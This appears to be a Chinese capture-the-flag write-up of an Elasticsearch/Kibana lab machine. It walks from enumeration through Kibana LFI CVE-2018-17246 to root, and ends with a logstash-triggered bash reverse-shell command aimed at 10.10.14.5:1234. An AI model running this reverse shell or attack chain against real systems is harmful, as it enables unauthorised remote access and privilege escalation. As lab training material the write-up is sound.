Enumeration
nmap
还是先看看端口对外开放情况,对外开放了22,80,9200
22应该是ssh,80是web,9200不知道是什么
TCP/80
访问web,没有什么链接,只有一张图片
有可能图片中有些东西,但还是尝试扫描一下网站目录,但是并没有找到什么有用的东西
把图片下载到本地然后查看一下,使用cat打开图片,发现一个base64编码
将其解码得到一句话
不知道是什么意思,翻译一下,得到了下面这句话
Exploitation
TCP/9200
访问9200端口是一个elasticsearch的API
再次结合之前的提示,会不会是需要在这里搜索"clave"?然后发现这里也有两段编码
Tengo que guardar la clave para la maquina翻译I have to save the key for the machine
Esta clave no se puede perder, la guardo aca翻译This key cannot be lost, I keep it here
将两段编码进行解码得到了用户名和密码
TCP/22
直接使用用户名和密码登录ssh即可,拿到user的flag
查看正在运行的服务,发现了一个5601端口
进一步尝试发现5601端口运行着kibana
进一步搜索,发现kibana是elastic的一部分,主要是为了对数据进行可视化分析探索
在信息收集过程中,发现9200是对外开放的,并且可以看到他的版本是6.4.2,进一步搜索,发现这个版本存在一个本地文件包含漏洞
github中有漏洞利用方法及说明GitHub - mpgn/CVE-2018-17246: CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Lateral Movement
CVE-2018-17246
在tmp目录下创建创建js文件
kali开启监听,然后执行payload,得到kibana的shell
Privilege Escalation
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
查找属于kibana组又在proc下的文件,logstash值得关注
可以看到以root身份运行
input.conf中,可以看到正在查找/opt/kibana/logstash_,每10秒查看一次,并将其标记为execute
在filter.conf中,如果有execute,会匹配对应消息
在output.conf中,显示最终会执行cmd
可以根据这一特性,针对性的写一个反弹shell脚本,开启监听,等待最多十秒钟即可
echo "Ejecutar comando: bash -c 'bash -i >& /dev/tcp/10.10.14.5/1234 0>&1'">/opt/kibana/logstash_veg